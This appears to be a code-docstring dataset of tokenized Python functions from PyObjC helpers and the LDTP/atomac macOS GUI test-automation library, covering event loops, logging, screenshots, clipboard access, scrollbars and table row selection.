{"signature": "def stopEventLoop():", "body": "stopper = PyObjCAppHelperRunLoopStopper_wrap.currentRunLoopStopper()<EOL>if stopper is None:<EOL><INDENT>if NSApp() is not None:<EOL><INDENT>NSApp().terminate_(None)<EOL>return True<EOL><DEDENT>return False<EOL><DEDENT>NSTimer.scheduledTimerWithTimeInterval_target_selector_userInfo_repeats_(<EOL><NUM_LIT:0.0>,<EOL>stopper,<EOL>'<STR_LIT>',<EOL>None,<EOL>False)<EOL>return True<EOL>", "docstring": "Stop the current event loop if possible\nreturns True if it expects that it was successful, False otherwise", "id": "f10308:m2"}
{"signature": "def endSheetMethod(meth):", "body": "return objc.selector(meth, signature=b'<STR_LIT>')<EOL>", "docstring": "Return a selector that can be used as the delegate callback for\nsheet methods", "id": "f10308:m3"}
{"signature": "def runEventLoop(argv=None, unexpectedErrorAlert=None, installInterrupt=None, pdb=None, main=NSApplicationMain):", "body": "if argv is None:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>if pdb is None:<EOL><INDENT>pdb = '<STR_LIT>' in os.environ<EOL><DEDENT>if pdb:<EOL><INDENT>from PyObjCTools import Debugging<EOL>Debugging.installVerboseExceptionHandler()<EOL>activator = PyObjCAppHelperApplicationActivator_wrap.alloc().init()<EOL>NSNotificationCenter.defaultCenter().addObserver_selector_name_object_(<EOL>activator,<EOL>'<STR_LIT>',<EOL>NSApplicationDidFinishLaunchingNotification,<EOL>None,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>Debugging = None<EOL><DEDENT>if installInterrupt is None and pdb:<EOL><INDENT>installInterrupt = True<EOL><DEDENT>if unexpectedErrorAlert is None:<EOL><INDENT>unexpectedErrorAlert = unexpectedErrorAlertPdb<EOL><DEDENT>runLoop = NSRunLoop.currentRunLoop()<EOL>stopper = PyObjCAppHelperRunLoopStopper_wrap.alloc().init()<EOL>PyObjCAppHelperRunLoopStopper_wrap.addRunLoopStopper_toRunLoop_(stopper, runLoop)<EOL>firstRun = NSApp() is None<EOL>try:<EOL><INDENT>while stopper.shouldRun():<EOL><INDENT>try:<EOL><INDENT>if firstRun:<EOL><INDENT>firstRun = False<EOL>if installInterrupt:<EOL><INDENT>installMachInterrupt()<EOL><DEDENT>main(argv)<EOL><DEDENT>else:<EOL><INDENT>NSApp().run()<EOL><DEDENT><DEDENT>except RAISETHESE:<EOL><INDENT>traceback.print_exc()<EOL>break<EOL><DEDENT>except:<EOL><INDENT>exctype, e, tb = sys.exc_info()<EOL>objc_exception = False<EOL>if isinstance(e, objc.error):<EOL><INDENT>NSLog(\"<STR_LIT>\", str(e))<EOL><DEDENT>elif not unexpectedErrorAlert():<EOL><INDENT>NSLog(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>traceback.print_exc()<EOL>sys.exit(<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>NSLog(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>traceback.print_exc()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>if Debugging is not None:<EOL><INDENT>Debugging.removeExceptionHandler()<EOL><DEDENT>PyObjCAppHelperRunLoopStopper_wrap.removeRunLoopStopperFromRunLoop_(runLoop)<EOL><DEDENT>", "docstring": "Run the event loop, ask the user if we should continue if an\n    exception is caught. Use this function instead of NSApplicationMain().", "id": "f10308:m8"}
{"signature": "def addloghandler(self, handler):", "body": "self.logger.addHandler(handler)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Add custom log handler\n@param handler: Handler instance\n@type handler: object\n\n@return: 1 on success and 0 on error\n@rtype: integer", "id": "f10311:c3:m3"}
{"signature": "def removeloghandler(self, handler):", "body": "self.logger.removeHandler(handler)<EOL>return <NUM_LIT:1><EOL>", "docstring": "Remove custom log handler\n@param handler: Handler instance\n@type handler: object\n\n@return: 1 on success and 0 on error\n@rtype: integer", "id": "f10311:c3:m4"}
{"signature": "def log(self, message, level=logging.DEBUG):", "body": "if _ldtp_debug:<EOL><INDENT>print(message)<EOL><DEDENT>self.logger.log(level, str(message))<EOL>return <NUM_LIT:1><EOL>", "docstring": "Logs the message in the root logger with the log level\n@param message: Message to be logged\n@type message: string\n@param level: Log level, defaul DEBUG\n@type level: integer\n\n@return: 1 on success and 0 on error\n@rtype: integer", "id": "f10311:c3:m5"}
{"signature": "def startlog(self, filename, overwrite=True):", "body": "if not filename:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>if overwrite:<EOL><INDENT>_mode = '<STR_LIT:w>'<EOL><DEDENT>else:<EOL><INDENT>_mode = '<STR_LIT:a>'<EOL><DEDENT>self._file_logger = self.logging.FileHandler(os.path.expanduser(filename), _mode)<EOL>_formatter = self.logging.Formatter('<STR_LIT>')<EOL>self._file_logger.setFormatter(_formatter)<EOL>self.logger.addHandler(_file_logger)<EOL>if _ldtp_debug:<EOL><INDENT>self._file_logger.setLevel(logging.DEBUG)<EOL><DEDENT>else:<EOL><INDENT>self._file_logger.setLevel(logging.ERROR)<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "@param filename: Start logging on the specified file\n@type filename: string\n@param overwrite: Overwrite or append\n    False - Append log to an existing file\n    True - Write log to a new file. If file already exist, \n    then erase existing file content and start log\n@type overwrite: boolean\n\n@return: 1 on success and 0 on error\n@rtype: integer", "id": "f10311:c3:m6"}
{"signature": "def stoplog(self):", "body": "if self._file_logger:<EOL><INDENT>self.logger.removeHandler(_file_logger)<EOL>self._file_logger = None<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Stop logging.\n\n        @return: 1 on success and 0 on error\n        @rtype: integer", "id": "f10311:c3:m7"}
{"signature": "def imagecapture(self, window_name=None, out_file=None, x=<NUM_LIT:0>, y=<NUM_LIT:0>,<EOL>width=None, height=None):", "body": "if not out_file:<EOL><INDENT>out_file = tempfile.mktemp('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>out_file = os.path.expanduser(out_file)<EOL><DEDENT>if _ldtp_windows_env:<EOL><INDENT>if width == None:<EOL><INDENT>width = -<NUM_LIT:1><EOL><DEDENT>if height == None:<EOL><INDENT>height = -<NUM_LIT:1><EOL><DEDENT>if window_name == None:<EOL><INDENT>window_name = '<STR_LIT>'<EOL><DEDENT><DEDENT>data = self._remote_imagecapture(window_name, x, y, width, height)<EOL>f = open(out_file, '<STR_LIT:wb>')<EOL>f.write(b64decode(data))<EOL>f.close()<EOL>return out_file<EOL>", "docstring": "Captures screenshot of the whole desktop or given window\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param x: x co-ordinate value\n@type x: integer\n@param y: y co-ordinate value\n@type y: integer\n@param width: width co-ordinate value\n@type width: integer\n@param height: height co-ordinate value\n@type height: integer\n\n@return: screenshot filename\n@rtype: string", "id": "f10311:c3:m11"}
{"signature": "def onwindowcreate(self, window_name, fn_name, *args):", "body": "self._pollEvents._callback[window_name] = [\"<STR_LIT>\", fn_name, args]<EOL>return self._remote_onwindowcreate(window_name)<EOL>", "docstring": "On window create, call the function with given arguments\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param fn_name: Callback function\n@type fn_name: function\n@param *args: arguments to be passed to the callback function\n@type *args: var args\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10311:c3:m33"}
{"signature": "def removecallback(self, window_name):", "body": "if window_name in self._pollEvents._callback:<EOL><INDENT>del self._pollEvents._callback[window_name]<EOL><DEDENT>return self._remote_removecallback(window_name)<EOL>", "docstring": "Remove registered callback on window create\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10311:c3:m34"}
{"signature": "def registerevent(self, event_name, fn_name, *args):", "body": "if not isinstance(event_name, str):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._pollEvents._callback[event_name] = [event_name, fn_name, args]<EOL>return self._remote_registerevent(event_name)<EOL>", "docstring": "Register at-spi event\n\n@param event_name: Event name in at-spi format.\n@type event_name: string\n@param fn_name: Callback function\n@type fn_name: function\n@param *args: arguments to be passed to the callback function\n@type *args: var args\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10311:c3:m35"}
{"signature": "def deregisterevent(self, event_name):", "body": "if event_name in self._pollEvents._callback:<EOL><INDENT>del self._pollEvents._callback[event_name]<EOL><DEDENT>return self._remote_deregisterevent(event_name)<EOL>", "docstring": "Remove callback of registered event\n\n@param event_name: Event name in at-spi format.\n@type event_name: string\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10311:c3:m36"}
{"signature": "def registerkbevent(self, keys, modifiers, fn_name, *args):", "body": "event_name = \"<STR_LIT>\" % (keys, modifiers)<EOL>self._pollEvents._callback[event_name] = [event_name, fn_name, args]<EOL>return self._remote_registerkbevent(keys, modifiers)<EOL>", "docstring": "Register keystroke events\n\n@param keys: key to listen\n@type keys: string\n@param modifiers: control / alt combination using gtk MODIFIERS\n@type modifiers: int\n@param fn_name: Callback function\n@type fn_name: function\n@param *args: arguments to be passed to the callback function\n@type *args: var args\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10311:c3:m37"}
{"signature": "def deregisterkbevent(self, keys, modifiers):", "body": "event_name = \"<STR_LIT>\" % (keys, modifiers)<EOL>if event_name in _pollEvents._callback:<EOL><INDENT>del _pollEvents._callback[event_name]<EOL><DEDENT>return self._remote_deregisterkbevent(keys, modifiers)<EOL>", "docstring": "Remove callback of registered event\n\n@param keys: key to listen\n@type keys: string\n@param modifiers: control / alt combination using gtk MODIFIERS\n@type modifiers: int\n\n@return: 1 if registration was successful, 0 if not.\n@rtype: integer", "id": "f10311:c3:m38"}
{"signature": "def windowuptime(self, window_name):", "body": "tmp_time = self._remote_windowuptime(window_name)<EOL>if tmp_time:<EOL><INDENT>tmp_time = tmp_time.split('<STR_LIT:->')<EOL>start_time = tmp_time[<NUM_LIT:0>].split('<STR_LIT:U+0020>')<EOL>end_time = tmp_time[<NUM_LIT:1>].split('<STR_LIT:U+0020>')<EOL>_start_time = datetime.datetime(int(start_time[<NUM_LIT:0>]), int(start_time[<NUM_LIT:1>]),<EOL>int(start_time[<NUM_LIT:2>]), int(start_time[<NUM_LIT:3>]),<EOL>int(start_time[<NUM_LIT:4>]), int(start_time[<NUM_LIT:5>]))<EOL>_end_time = datetime.datetime(int(end_time[<NUM_LIT:0>]), int(end_time[<NUM_LIT:1>]),<EOL>int(end_time[<NUM_LIT:2>]), int(end_time[<NUM_LIT:3>]),<EOL>int(end_time[<NUM_LIT:4>]), int(end_time[<NUM_LIT:5>]))<EOL>return _start_time, _end_time<EOL><DEDENT>return None<EOL>", "docstring": "Get window uptime\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n\n@return: \"starttime, endtime\" as datetime python object", "id": "f10311:c3:m39"}
{"signature": "def __del__(self):", "body": "self._stop = True<EOL>", "docstring": "Stop polling when destroying this class", "id": "f10311:c4:m1"}
{"signature": "def __del__(self):", "body": "self._stop = True<EOL>", "docstring": "Stop callback when destroying this class", "id": "f10311:c5:m1"}
{"signature": "@classmethod<EOL><INDENT>def paste(cls):<DEDENT>", "body": "pb = AppKit.NSPasteboard.generalPasteboard()<EOL>data = pb.stringForType_(cls.STRING)<EOL>return data<EOL>", "docstring": "Get the clipboard data ('Paste').\n\n        Returns: Data (string) retrieved or None if empty. Exceptions from\n        AppKit will be handled by caller.", "id": "f10313:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def copy(cls, data):<DEDENT>", "body": "pp = pprint.PrettyPrinter()<EOL>copy_data = '<STR_LIT>'<EOL>logging.debug(copy_data % pp.pformat(data))<EOL>cleared = cls.clearAll()<EOL>if not cleared:<EOL><INDENT>logging.warning('<STR_LIT>')<EOL>return False<EOL><DEDENT>if not isinstance(data, types.ListType):<EOL><INDENT>data = [data]<EOL><DEDENT>pb = AppKit.NSPasteboard.generalPasteboard()<EOL>pb_set_ok = pb.writeObjects_(data)<EOL>return bool(pb_set_ok)<EOL>", "docstring": "Set the clipboard data ('Copy').\n\n        Parameters: data to set (string)\n        Optional: datatype if it's not a string\n        Returns: True / False on successful copy, Any exception raised (like\n                 passes the NSPasteboardCommunicationError) should be caught\n                 by the caller.", "id": "f10313:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def clearContents(cls):<DEDENT>", "body": "log_msg = '<STR_LIT>'<EOL>logging.debug(log_msg)<EOL>pb = AppKit.NSPasteboard.generalPasteboard()<EOL>pb.clearContents()<EOL>return True<EOL>", "docstring": "Clear contents of general pasteboard.\n\n        Future enhancement can include specifying which clipboard to clear\n        Returns: True on success; caller should expect to catch exceptions,\n                 probably from AppKit (ValueError)", "id": "f10313:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def clearProperties(cls):<DEDENT>", "body": "log_msg = '<STR_LIT>'<EOL>logging.debug(log_msg)<EOL>pb = AppKit.NSPasteboard.generalPasteboard()<EOL>pb.clearProperties()<EOL>return True<EOL>", "docstring": "Clear properties of general pasteboard.\n\n        Future enhancement can include specifying which clipboard's properties\n        to clear\n        Returns: True on success; caller should catch exceptions raised,\n                 e.g. from AppKit (ValueError)", "id": "f10313:c0:m3"}
{"signature": "@classmethod<EOL><INDENT>def clearAll(cls):<DEDENT>", "body": "cls.clearContents()<EOL>cls.clearProperties()<EOL>return True<EOL>", "docstring": "Clear contents and properties of general pasteboard.\n\n        Future enhancement can include specifying which clipboard's properties\n        to clear\n        Returns: Boolean True on success; caller should handle exceptions", "id": "f10313:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def isEmpty(cls, datatype=None):<DEDENT>", "body": "if not datatype:<EOL><INDENT>datatype = AppKit.NSString<EOL><DEDENT>if not isinstance(datatype, types.ListType):<EOL><INDENT>datatype = [datatype]<EOL><DEDENT>pp = pprint.PrettyPrinter()<EOL>logging.debug('<STR_LIT>' % pp.pformat(datatype))<EOL>opt_dict = {}<EOL>logging.debug('<STR_LIT>' % pp.pformat(opt_dict))<EOL>try:<EOL><INDENT>log_msg = '<STR_LIT>'<EOL>logging.debug(log_msg)<EOL>pb = AppKit.NSPasteboard.generalPasteboard()<EOL>its_empty = not bool(pb.canReadObjectForClasses_options_(datatype,<EOL>opt_dict))<EOL><DEDENT>except ValueError as error:<EOL><INDENT>logging.error(error)<EOL>raise<EOL><DEDENT>return bool(its_empty)<EOL>", "docstring": "Method to test if the general pasteboard is empty or not with respect\n        to the type of object you want.\n\n        Parameters: datatype (defaults to strings)\n        Returns: Boolean True (empty) / False (has contents); Raises\n                 exception (passes any raised up)", "id": "f10313:c0:m5"}
{"signature": "def __init__(self, bundleID, bundlePath=None, defaultsPlistName='<STR_LIT>'):", "body": "self.__bundleID = bundleID<EOL>self.__bundlePath = bundlePath<EOL>UserDict.__init__(self)<EOL>self.__setup(defaultsPlistName)<EOL>", "docstring": "bundleId: the application bundle identifier\nbundlePath: the full bundle path (useful to test a Debug build)\ndefaultsPlistName: the name of the plist that contains default values", "id": "f10314:c0:m0"}
{"signature": "def verifyscrollbarvertical(self, window_name, object_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if object_handle.AXOrientation == \"<STR_LIT>\":<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify scrollbar is vertical\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m0"}
{"signature": "def verifyscrollbarhorizontal(self, window_name, object_name):", "body": "try:<EOL><INDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>if object_handle.AXOrientation == \"<STR_LIT>\":<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:0><EOL>", "docstring": "Verify scrollbar is horizontal\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m1"}
{"signature": "def setmax(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>object_handle.AXValue = <NUM_LIT:1><EOL>return <NUM_LIT:1><EOL>", "docstring": "Set max value\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m2"}
{"signature": "def setmin(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>object_handle.AXValue = <NUM_LIT:0><EOL>return <NUM_LIT:1><EOL>", "docstring": "Set min value\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m3"}
{"signature": "def scrollup(self, window_name, object_name):", "body": "if not self.verifyscrollbarvertical(window_name, object_name):<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>return self.setmin(window_name, object_name)<EOL>", "docstring": "Scroll up\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m4"}
{"signature": "def scrolldown(self, window_name, object_name):", "body": "if not self.verifyscrollbarvertical(window_name, object_name):<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>return self.setmax(window_name, object_name)<EOL>", "docstring": "Scroll down\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m5"}
{"signature": "def scrollleft(self, window_name, object_name):", "body": "if not self.verifyscrollbarhorizontal(window_name, object_name):<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>return self.setmin(window_name, object_name)<EOL>", "docstring": "Scroll left\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m6"}
{"signature": "def scrollright(self, window_name, object_name):", "body": "if not self.verifyscrollbarhorizontal(window_name, object_name):<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>return self.setmax(window_name, object_name)<EOL>", "docstring": "Scroll right\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m7"}
{"signature": "def onedown(self, window_name, object_name, iterations):", "body": "if not self.verifyscrollbarvertical(window_name, object_name):<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>i = <NUM_LIT:0><EOL>maxValue = <NUM_LIT:1.0> / <NUM_LIT:8><EOL>flag = False<EOL>while i < iterations:<EOL><INDENT>if object_handle.AXValue >= <NUM_LIT:1>:<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>object_handle.AXValue += maxValue<EOL>time.sleep(<NUM_LIT:1.0> / <NUM_LIT:100>)<EOL>flag = True<EOL>i += <NUM_LIT:1><EOL><DEDENT>if flag:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>", "docstring": "Press scrollbar down with number of iterations\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n@param interations: iterations to perform on slider increase\n@type iterations: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m8"}
{"signature": "def oneup(self, window_name, object_name, iterations):", "body": "if not self.verifyscrollbarvertical(window_name, object_name):<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>i = <NUM_LIT:0><EOL>minValue = <NUM_LIT:1.0> / <NUM_LIT:8><EOL>flag = False<EOL>while i < iterations:<EOL><INDENT>if object_handle.AXValue <= <NUM_LIT:0>:<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>object_handle.AXValue -= minValue<EOL>time.sleep(<NUM_LIT:1.0> / <NUM_LIT:100>)<EOL>flag = True<EOL>i += <NUM_LIT:1><EOL><DEDENT>if flag:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>", "docstring": "Press scrollbar up with number of iterations\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n@param interations: iterations to perform on slider increase\n@type iterations: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m9"}
{"signature": "def oneright(self, window_name, object_name, iterations):", "body": "if not self.verifyscrollbarhorizontal(window_name, object_name):<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>i = <NUM_LIT:0><EOL>maxValue = <NUM_LIT:1.0> / <NUM_LIT:8><EOL>flag = False<EOL>while i < iterations:<EOL><INDENT>if object_handle.AXValue >= <NUM_LIT:1>:<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>object_handle.AXValue += maxValue<EOL>time.sleep(<NUM_LIT:1.0> / <NUM_LIT:100>)<EOL>flag = True<EOL>i += <NUM_LIT:1><EOL><DEDENT>if flag:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>", "docstring": "Press scrollbar right with number of iterations\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n@param interations: iterations to perform on slider increase\n@type iterations: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m10"}
{"signature": "def oneleft(self, window_name, object_name, iterations):", "body": "if not self.verifyscrollbarhorizontal(window_name, object_name):<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>object_handle = self._get_object_handle(window_name, object_name)<EOL>i = <NUM_LIT:0><EOL>minValue = <NUM_LIT:1.0> / <NUM_LIT:8><EOL>flag = False<EOL>while i < iterations:<EOL><INDENT>if object_handle.AXValue <= <NUM_LIT:0>:<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>object_handle.AXValue -= minValue<EOL>time.sleep(<NUM_LIT:1.0> / <NUM_LIT:100>)<EOL>flag = True<EOL>i += <NUM_LIT:1><EOL><DEDENT>if flag:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>raise LdtpServerException('<STR_LIT>')<EOL><DEDENT>", "docstring": "Press scrollbar left with number of iterations\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type object_name: string\n@param interations: iterations to perform on slider increase\n@type iterations: integer\n\n@return: 1 on success.\n@rtype: integer", "id": "f10315:c0:m11"}
{"signature": "def imagecapture(self, window_name=None, x=<NUM_LIT:0>, y=<NUM_LIT:0>,<EOL>width=None, height=None):", "body": "if x or y or (width and width != -<NUM_LIT:1>) or (height and height != -<NUM_LIT:1>):<EOL><INDENT>raise LdtpServerException(\"<STR_LIT>\")<EOL><DEDENT>if window_name:<EOL><INDENT>handle, name, app = self._get_window_handle(window_name)<EOL>try:<EOL><INDENT>self._grabfocus(handle)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>rect = self._getobjectsize(handle)<EOL>screenshot = CGWindowListCreateImage(NSMakeRect(rect[<NUM_LIT:0>],<EOL>rect[<NUM_LIT:1>], rect[<NUM_LIT:2>], rect[<NUM_LIT:3>]), <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>screenshot = CGWindowListCreateImage(CGRectInfinite, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>image = CIImage.imageWithCGImage_(screenshot)<EOL>bitmapRep = NSBitmapImageRep.alloc().initWithCIImage_(image)<EOL>blob = bitmapRep.representationUsingType_properties_(NSPNGFileType, None)<EOL>tmpFile = tempfile.mktemp('<STR_LIT>', '<STR_LIT>')<EOL>blob.writeToFile_atomically_(tmpFile, False)<EOL>rv = b64encode(open(tmpFile).read())<EOL>os.remove(tmpFile)<EOL>return rv<EOL>", "docstring": "Captures screenshot of the whole desktop or given window\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param x: x co-ordinate value\n@type x: int\n@param y: y co-ordinate value\n@type y: int\n@param width: width co-ordinate value\n@type width: int\n@param height: height co-ordinate value\n@type height: int\n\n@return: screenshot with base64 encoded for the client\n@rtype: string", "id": "f10316:c0:m0"}
{"signature": "def getrowcount(self, window_name, object_name):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>return len(object_handle.AXRows)<EOL>", "docstring": "Get count of rows in table object.\n\n@param window_name: Window name to look for, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to look for, either full name,\nLDTP's name convention, or a Unix glob. Or menu heirarchy\n@type object_name: string\n\n@return: Number of rows.\n@rtype: integer", "id": "f10317:c0:m0"}
{"signature": "def selectrow(self, window_name, object_name, row_text, partial_match=False):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>for cell in object_handle.AXRows:<EOL><INDENT>if re.match(row_text,<EOL>cell.AXChildren[<NUM_LIT:0>].AXValue):<EOL><INDENT>if not cell.AXSelected:<EOL><INDENT>object_handle.activate()<EOL>cell.AXSelected = True<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>raise LdtpServerException(u\"<STR_LIT>\" % row_text)<EOL>", "docstring": "Select row\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_text: Row text to select\n@type row_text: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10317:c0:m1"}
{"signature": "def multiselect(self, window_name, object_name, row_text_list, partial_match=False):", "body": "object_handle = self._get_object_handle(window_name, object_name)<EOL>if not object_handle.AXEnabled:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % object_name)<EOL><DEDENT>object_handle.activate()<EOL>selected = False<EOL>try:<EOL><INDENT>window = self._get_front_most_window()<EOL><DEDENT>except (IndexError,):<EOL><INDENT>window = self._get_any_window()<EOL><DEDENT>for row_text in row_text_list:<EOL><INDENT>selected = False<EOL>for cell in object_handle.AXRows:<EOL><INDENT>parent_cell = cell<EOL>cell = self._getfirstmatchingchild(cell, \"<STR_LIT>\")<EOL>if not cell:<EOL><INDENT>continue<EOL><DEDENT>if re.match(row_text, cell.AXValue):<EOL><INDENT>selected = True<EOL>if not parent_cell.AXSelected:<EOL><INDENT>x, y, width, height = self._getobjectsize(parent_cell)<EOL>window.clickMouseButtonLeftWithMods((x + width / <NUM_LIT:2>,<EOL>y + height / <NUM_LIT:2>),<EOL>['<STR_LIT>'])<EOL>self.wait(<NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>break<EOL><DEDENT><DEDENT>if not selected:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\" % row_text)<EOL><DEDENT><DEDENT>if not selected:<EOL><INDENT>raise LdtpServerException(u\"<STR_LIT>\")<EOL><DEDENT>return <NUM_LIT:1><EOL>", "docstring": "Select multiple row\n\n@param window_name: Window name to type in, either full name,\nLDTP's name convention, or a Unix glob.\n@type window_name: string\n@param object_name: Object name to type in, either full name,\nLDTP's name convention, or a Unix glob. \n@type object_name: string\n@param row_text_list: Row list with matching text to select\n@type row_text: string\n\n@return: 1 on success.\n@rtype: integer", "id": "f10317:c0:m2"}
